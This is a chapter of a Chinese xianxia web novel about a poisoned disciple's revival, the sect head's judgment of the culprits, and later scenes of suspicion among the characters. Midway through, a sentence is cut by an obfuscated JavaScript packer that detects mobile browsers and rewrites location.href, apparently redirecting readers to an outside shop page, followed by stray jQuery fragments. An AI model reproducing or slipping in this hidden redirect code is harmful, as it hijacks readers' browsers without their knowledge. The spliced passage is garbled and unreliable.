在施妤灵的苏醒过程中,唯一感到匪夷所思的,是子桑聿。
这倒不是说他不希望施妤灵醒过来,他素来怜香惜玉,更何况此处的两个美人,一个昏迷不醒,一个焦急难安。他作为君子,自当竭尽所能,为她们排忧解难。
只是,这医治的过程未免也太顺利了。
施妤灵所中之毒,来源于南疆的一种毒草。毒粉入体,能瞬息间截断灵脉,致使人骤然昏阙。这种毒虽不常见,但解法亦不算太难,只是有些过于繁琐。需以一种不常见的灵草入药,再辅以灵力疏通脉络,便能将中毒之人重新唤醒。
可如今三更半夜,要上哪去找这种灵药?子桑聿暗自惋惜,恐怕昏迷的施妤灵无论如何都赶不上明日的试炼了。
他将自己的无奈告知连月浅,却不想对方眼眸一亮,忙道:“子桑师兄,我身上恰好有这味灵药!”
饶使子桑聿还算见多识广,听到这话也不免目露震撼。
连师妹,你是说,你竟随身携带了,生于极阴之地十年生火系灵植‘烧夜阑’晾晒后提取的粉末?这种药物除了可以疏通火系灵根的灵脉几乎没有其他效果,实在想不出一个水灵根修士带在身上有何用。
连月浅似乎早知子桑聿心中所想,她腼腆地解释道:“我的医术不如子桑师兄精湛,但平日里好翻阅古籍,偶尔会效仿书中记载炮制些药物。前不久侥幸得了一株烧夜阑,便试着制了些……未曾想,今夜竟真的派上了用场。”
这话到也算合情合理,子桑聿打趣道:“也合该你和这孩子有缘,她若是今晚能醒来,必得重谢你。”
既然药已备妥,子桑聿便着手开始为施妤灵疏通灵力。也真是无巧不成书,他还是恰好是木系灵根,对火系灵根有助长之效,处理起来倒也事半功倍。
连月浅则配合着他施展治疗,更出乎子桑聿意料的是,这位连师妹对穴位灵脉分布如数家珍,精准娴熟,与他相比也不遑多让。
这样的本领,仅凭熟读医书便能练就?恐怕需要多年的经验实践吧。
救人心急,子桑聿无暇深思。
等到完成救治,施妤灵眉目微动,他才盘坐在地,双手往后一撑,疲惫地叹了口气。
施妤灵的意识尚有些混沌,只觉得周身酸软,四肢乏力。耳边人声嘈杂,却听不真切。抱着她的女子似乎察觉到了她的恍惚,连忙取出一只玉瓶,将清凉的液体喂入她唇边。她下意识地吮吸着,一股清泉般的甘露滑入喉中,原本松散的四肢仿佛重新被注入了力量,竟让她缓缓坐直了身子。
“那是灵髓液?”
瘫在一旁的子桑聿有些讶然,一瓶普通的灵髓液近上千灵石,不仅能瞬间治愈极深的创伤,还能抑制走火入魔的凶险,在寻常人家,堪称保命仙丹。
而在连月浅的手里,竟就这样随随便便用掉了。
“事态紧急,能派上用场便好。”
连月浅毫不心疼,她抑制不住欣喜,赶忙出声提醒大家,施妤灵已经醒来了。
施妤灵的神智终于恢复了清明,当面前的视野逐渐清晰起来,入目所见的,就是各色的面孔……怎么这么多人!
察觉到自己还坐在地上,施妤灵脸色涨红急忙站了起来,不经意间和人群中央的燕宴对上了目光。
燕宴满眼惊讶地望着她,神色中亦有欣喜。
昏迷前的记忆在此刻终于重新转回了施妤灵脑中,她大叫一声,连忙扑了过去,拉着燕宴东看西看。
先是看见了对方行走不利的左脚,又看见了燕宴脸上明显的五指手印,霎时大怒:“哪个天杀的把你打成这样,我帮你百倍奉还!”
燕宴被施妤灵吓了一大跳,连忙捂住她的嘴,示意她看旁边。
施妤灵不耐烦地往旁边一瞧,便见几个成年男修站在自己的旁边。秦语诚和陆丰年她自然认识,唯独居中的中年男人,看着清风朗月,气质极佳,但却眼生得很。
“这是掌门大人。”燕宴小声提醒她。
稍稍反应片刻,施妤灵也大惊失色,连忙弯腰行礼:“见,见过掌门尊上,晚辈失礼了。”
施妤灵难得说话磕巴起来,明显吓得不轻,莫衡桥却亲和一笑,安慰道:“无妨,你恰似昔年的宋兄那般活泼好动,见你安然无恙,我便放心了。”
听见莫衡桥所说的宋兄,施妤灵面上顿时显现出惊讶,随即眼眶有些发红。
燕宴怕施妤灵真的再当众哭出来,连忙安慰似得拍了拍她,不曾想反倒让施妤灵直接哽咽出声。
可不等施妤灵情绪平复,只听得身后扑通一声,几人调转视线望去,便见李锦跪倒在地,身体不住发抖。
旁边本就跪着的秦怀瑜也没料到李锦会突然做此形状。心中暗骂道:混账东西,摆出这种姿态,和不打自招有什么两样。就算施妤灵醒了又如何,咬死不承认,没人有证据的情况下,谁能定罪?
眼看李锦已是扶不上墙的烂泥,秦怀瑜只得强作镇定,摆出一副错愕不已的神情。
李锦显然已经被击溃了心理防线,本就红肿的脸看不出是何脸色,但那畏缩的姿态,足以说明他心中有鬼。
看到李锦哆哆嗦嗦的样子,施妤灵立刻横眉倒竖,当即就想上前去给他两巴掌:“就是你给我闻了那乱七八糟的东西!”
燕宴把她在掌门面前太过失礼,急忙拉住了她。莫衡桥则目光如炬,紧盯着李锦,沉声问施妤灵:“施姑娘,你可确定,就是他让你昏迷的?”
当时夜色已深,施妤灵其实并未看清来人面容。但眼下这阵仗,她已然明白李锦便是众矢之的。
再看燕宴望向李锦时那凝重的神情,她心中更是再无怀疑,斩钉截铁道:“不错,就是他!还有旁边那个,说不定是幕后主使!”
说着,她抬手指向秦怀瑜。秦怀瑜大惊失色,他被燕宴砍断了发髻,垂到耳边的头发本就显得可笑,此刻配上表情惊恐,更是滑稽不堪。
秦怀瑜咬咬牙,也重重地在地上磕了个响头:“请尊上明察,我是后来才到,并不清楚这次事情的内情。我只是同情施小姐的遭遇挺身而出,不知道为何竟成了幕后主使?”
“不。”施妤灵苏醒后,燕宴终于有了底气,她拧着自己的衣服下摆,直视秦怀瑜:“你同他就是一伙的,我分明听到了你们的对话,你原本是想让李锦对我下手的,只是误伤了阿灵,你就是幕后主使!”
“绝对不是!”秦怀瑜连忙举起手,赌咒发誓:“若你觉得我轻信李锦之言而误伤了你,你便是现在打我一顿出气,我也绝无怨言。但你诬陷我伙同他人,迫害同门,此等罪名,我绝不能认!我敢以性命起誓,若我今日所言有半句虚假,他日必将众叛亲离,天打雷劈,不得好死!”
“混账!”秦语诚听不下去了,上前狠狠给了秦怀瑜一脚,把他踹到在地。这一脚用劲不轻,秦怀瑜直接吐出半口鲜血,不敢置信地望着自己的父亲。
秦语诚却连看都未看他一眼,只是转身对莫衡桥深深一揖:“生此孽子,实乃家门不幸,让掌门见笑了。他养成如今这般顽劣性情,皆因其母早亡,我疏于管教。我不敢为他求情,还请掌门即刻下令,将他逐出此次擢真大会。我会择日将他送出苍华,令他此生不得再踏入山门半步!”
秦怀瑜闻言,再顾不得身上的痛,连滚带爬地扑过去抱紧秦语诚的大腿,哭喊起来:“不要啊!爹爹,不是我!不是我做的,我没有!”
他的哭喊声悲怆欲绝,秦语诚却不为所动,只是躬身静待莫衡桥发落。
施妤灵看着秦怀瑜痛哭流涕的狼狈模样,只觉得扬眉吐气,心中畅快无比。唯有燕宴,始终沉默不语,她微微偏头,悄悄观察着莫衡桥的神色,果不其然,掌门的脸上流露出一丝不忍。
“燕宴,我且问你。”莫衡桥突然开口,燕宴连忙垂下眼帘,不敢再直视他。
“你说秦怀瑜同李锦互相勾结,可还能复述当时两人的对话?”
燕宴闪过李锦那句“叫她永远不敢开口”,不免心脏狂跳。沉默片刻,她轻轻摇头:“当时事情紧急,我也有些记不清了。”
“既然如此,便也不能断定秦怀瑜便是幕后主使。我知你护友心切,却反遭误解,心中有气,但亦不可随意揣测他人。”
“至于李锦……”莫衡桥的语气陡然转冷:“他恶意对施妤灵下毒之事确凿,即刻逐出门去,他的家族日后也再不用参与擢真大会!”
李锦如遭雷击,骤然瘫倒在地,他四周环望,周围人无不嫌恶地望向自己。
秦怀瑜已是自顾不暇,而秦语诚望向他那幽深如井的视线,更是让他将要脱口而出的指证彻底咽了回去。
不能把秦怀瑜也咬出来,现在他担下罪责,或许还能从秦语诚那里得点好处,如果把秦怀瑜也拖下水,不仅真的会一无所有,恐怕还会遭受秦语诚无穷无尽的报复。
李锦这才发现,自己原来只是这一串链条中最底端一环,一旦暴露在阳光下,就会被彻底踩进污泥中腐烂。
“秦怀瑜……”莫衡桥面露不忍,长叹一声:“语诚的夫人亦是我亡妻自幼一同长大的侍女,情同姐妹。她随我们征战四方,最后却在战后惨死于魔族的蓄意埋伏。我相信怀瑜只是一时被恶友蛊惑,并非有心加害同门。”
“既然如此,我便罚你在第一关试炼中,比其他弟子晚一炷香的时间进入秘境。且无论结果如何,你父亲所说的一月禁闭,也需如期执行。你可服气?”
秦怀瑜原本以为自己真的要被逐出苍华,如今再听到莫衡桥处罚已是喜出望外,连忙磕头感谢:“弟子心服口服,多谢掌门宽宏大量!”
“而燕宴,”莫衡桥转向她,“你虽是护友心切,自保心切,但也用药重伤他人,此举亦违反了门规,我同样要罚时一炷香,你可接受?”
“掌门!”连月浅满脸不安地走上前来:“请您不要责罚她,是我给错了药囊,这件事归根结底,是我的错。”
莫衡桥眉目温和:“月浅,你的确有错,但今晚你全力救治施妤灵,也算功过相抵。可这世间所有的错误,不是都可以追根溯源的,我们只能就事论事。”
连月浅面露不忍:“但……”
“掌门,我愿意接受。”燕宴怕连月浅和莫衡桥起争执,急忙点头应下。
见尘埃落定,莫衡桥也微微一笑,他望向天边,朗声道:“天色将明,擢真大会事务繁杂,明日的试炼不得拖延,诸君请各司其职,各归其位吧。”
“是。”众人齐齐行礼。
莫衡桥颔首,转身而去。
见师父要走,子桑聿才连忙从地上跳起,笑盈盈走向连月浅,道:“既然如此,连师妹,我就先回去了。”
施妤灵知道自己今晚也得到了子桑聿的帮助,连忙感谢道:“子桑师兄,多谢今晚你为我治疗,我不知要如何答谢你。”
子桑聿不着调地道:“无妨,你好好感谢连师妹就是,师父免了她的奖赏,可不会免了我的……不过啊施小姐,日后你族中若还有同你一般貌美的姐姐姑姑嫂嫂叔娘,务必要介绍与我认识一番啊。”
换作别人说这种话,施妤灵定要骂登徒子了。可子桑聿是个长相俊美的翩翩少年,语气又似真非假,到叫人不好意思和他计较。施妤灵涨红了脸,支支吾吾说不出话。
逗够了美人,子桑聿哈哈笑着,追着莫衡桥和安昀烛走了。
燕宴没有注意这边的对话,而是站在连月浅的身边,偷偷望向秦怀瑜。
李锦自然是被楚翊峥亲自带着人押走,毫不拖泥带水。而莫衡桥离开后,秦语诚也沉着脸把秦怀瑜从地上提溜起来,他胡乱用袖子擦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002585|192641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
擦儿子满是泪水鼻涕的脸,冷哼一声,也带着几人走了。
反倒是陆丰年,走上前拍了拍秦怀瑜的肩膀,似乎是要带他去疗伤。
秦怀瑜跟在陆丰年身后,走出几步,却忽然回头,向这边望了一眼。
燕宴心头一紧,不敢与他对视,立刻偏过头,却不期然对上了不远处薛桦的视线。
薛桦身边没有人,他一个人萧瑟地站在那里,看着格外冷清。和燕宴对上视线后,他原本沉静的神色变得有些茫然,随即他也猛地背过身,大步地往前走去。
一股莫名的心慌攫住了燕宴,她下意识地迈步想追上去,左脚的伤却让她瞬间失去了平衡,踉跄着摔倒在地。
“燕宴,你没事吧!”施妤灵被吓了一跳。
薛桦的脚步明显顿了一下,但他终究没有回头,反而加快速度,转眼间便消失在夜色中。
施妤灵顺着燕宴的视线看过去,也看到了薛桦溃逃的背影,满头雾水:“这小子,赶着去睡觉吗?”
听着施妤灵的嘀咕,一旁的萧念白在心底默默叹了口气。
唉,当局者迷。少男心嘛,海底针。薛桦定是觉得自己被青梅竹马隐瞒这么久,心情不快,平日里习惯了当大哥,如今却比了下去,自然不是滋味。
燕宴显然也很受伤,她看着消失不见的薛桦,目光黯淡,再次被不安笼罩。
萧念白到底也不愿意看小姑娘黯自神伤,他对燕宴伸出手,把她拉了起来。
“你叫,燕宴?”
萧念白轻声重复着这个些微拗口的名字,歉道:“我原来还叫你燕燕,抱歉啊。”
低落的思绪被打断,面对萧念白的歉意,燕宴连连摆手。
喊错个名字而已,有什么需要道歉的呢?她还经常被喊傻子乞丐呢,也从未有人和她道过歉呀。
“叫我燕燕也可以的。”她低声道。
萧念白淡淡一笑,摸了摸燕宴的头:“你身上还有伤,让这位师姐替你诊治一下吧……”
说着,他转过头,却见连月浅正睁大了眼睛望着自己,神情中似乎隐隐含着几分激动。但当他看过去时,她又立刻恢复了往日的温婉,弯腰对燕宴柔声道:“来,我带你去疗伤。”
萧念白只当是自己眼花了,心中带着一丝古怪,又去护送施妤灵:“施姑娘,你也该回去了,我送离开这片树林吧。”
施妤灵看着被连月浅带走的燕宴,仍然有些不放心:“可是……”
“她会没事的。”萧念白安慰道:“我们会治好她,明日亲自送到秘境外。今晚休息好,等通过第一场试炼,你们肯定还能再见面。”
施妤灵也知道燕宴需要治疗,只得勉强点头:“好。”
另一头,连月浅将燕宴带回寮房。
她先是细致地为燕宴治好了腿伤,又给她的脸颊涂上清凉的药膏,最后,竟又取出一瓶与之前给施妤灵一样的灵髓液,让她服下。燕宴对连月浅言听计从,毫不知情地喝掉了一千灵石。
治疗完伤口,燕宴才从袖口掏出了那把寒魄匕首,递还给连月浅:“师姐,这个还给你。”
连月浅带着笑接了过来:“多谢……你不说出匕首的事,是担心牵连我吗?”
燕宴面露犹豫,点点头又摇摇头:“师姐,如果我说我脚上的伤其实是被符咒勒出来的,你会信吗?”
连月浅脸色微变,她又抬起燕宴的小脚检查了一番,发现真的已治好,才松了一口气,又认真道:“你可看清楚了?是什么符?”
“不知道,只是感觉像什么会咬人的动物一样,又像用针把我的脚踝固定住了。但没看到伤口,那符咒能把人固定得极紧,如果没有这把匕首,我恐怕挣脱不了。”
燕宴当时被倒吊着,视线受阻,只记得脚踝处传来的那阵钻心剧痛。
“没事了。”连月浅把她抱到寮房内的软床上,给燕宴施展了一次洁身术,又
替她盖好被子。
她爱怜地摸摸燕宴的小脸:“睡吧,我会在外面守着,你只管睡好去参加试炼。”
被如此优待,燕宴深感浑身都不对劲了,但她更无法拒绝连月浅的好意,只得窝在被子里乖巧地点点头,闭上眼。
听着连月浅关门出去,她才敢放松身体,细细地感受这柔软的床铺与温暖的被褥。
萧师兄、连师姐都是善良的好人,他们平日里待人就这么好吗?
如果,我能成为他们的师妹的话,是不是也能变成这么好的人呢?
燕宴心里似乎又多了一个小小的心愿,不再多想,她慢慢沉入梦乡。
……
连月浅关上门,恰见萧念白也朝寮房而来。
见连月浅出来,萧念白也知燕宴的伤定无大碍,便道:“我已送施妤灵回去了,楚师兄那边恐怕还有一会儿。”
“燕宴也已睡下了。”连月浅指向耳房。
这真是漫长的一夜。回想起今晚发生的种种,萧念白只觉心力交瘁。他隐隐觉得自己似乎忘记了什么重要的事情,但一时半会儿偏又想不起来。
他望着寮房,稍稍皱眉:“师妹,如果一个人刻意隐藏自己的锋芒到了这个地步,是不是也有些太过了?”
施妤灵知道他是在说燕宴的事,但她并不觉得如此:“有些人只是天生不喜欢惹人注目罢了,倒也正常。”
萧念白不意外连月浅的回答:“师妹本就是谦逊的性格,自然会这么想,不过……”
“什么?”
“不,没事,你在这里守着吧,我去楚师兄那里看看。”
萧念白止住了话头,登上九岚,凌空而去。
独自站在夜空下,他才在心中默默补全了心中的话:
谦逊当然是好品格,可谦逊过了头,若非自卑……那就是所图甚大。